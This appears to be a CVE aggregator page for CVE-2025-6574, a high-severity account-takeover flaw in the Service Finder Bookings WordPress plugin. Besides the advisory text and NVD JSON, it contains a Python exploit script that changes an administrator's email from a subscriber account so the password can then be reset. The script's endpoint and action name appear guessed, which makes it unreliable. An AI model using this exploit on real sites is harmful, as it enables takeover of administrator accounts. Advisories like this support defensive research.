Security Vulnerability Report
中文
CVE-2025-6574 CVSS 8.8 HIGH

CVE-2025-6574

Published: 2025-11-01 07:15:36
Last Modified: 2026-04-15 00:35:42

Description

The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and excluding, 6.1. This is due to the plugin not properly validating a user's identity prior to updating their details like email. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Service Finder Bookings plugin for WordPress < 6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-6574 PoC - Service Finder Bookings Account Takeover This script demonstrates the privilege escalation vulnerability in Service Finder Bookings plugin. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" ATTACKER_EMAIL = "[email protected]" TARGET_USER_ID = 1 # Usually administrator def exploit_account_takeover(): """ Step 1: Authenticate as subscriber-level user Step 2: Update target user's email to attacker-controlled email Step 3: Request password reset for target account """ session = requests.Session() # Setup: Login as subscriber (low-privilege account) login_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In' } print("[*] Authenticating as subscriber user...") login_url = f"{TARGET_URL}/wp-login.php" response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Exploit: Update target user's email via plugin endpoint # The plugin doesn't validate if current user can modify target user exploit_data = { 'user_id': TARGET_USER_ID, 'email': ATTACKER_EMAIL, 'action': 'update_user_profile' } # Plugin AJAX endpoint (specific endpoint varies by version) ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" print(f"[*] Updating user {TARGET_USER_ID} email to {ATTACKER_EMAIL}...") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Email updated successfully!") print("[+] Attacker can now request password reset and gain account access") return True else: print("[-] Exploitation failed!") return False if __name__ == "__main__": print("CVE-2025-6574 - Service Finder Bookings Account Takeover") exploit_account_takeover()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6574", "sourceIdentifier": "[email protected]", "published": "2025-11-01T07:15:35.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Service Finder Bookings plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and excluding, 6.1. This is due to the plugin not properly validating a user's identity prior to updating their details like email. This makes it possible for authenticated attackers, with subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/264cb002-bf40-4cc2-9c21-cda9bb24f494?source=cve", "source": "[email protected]"}]}}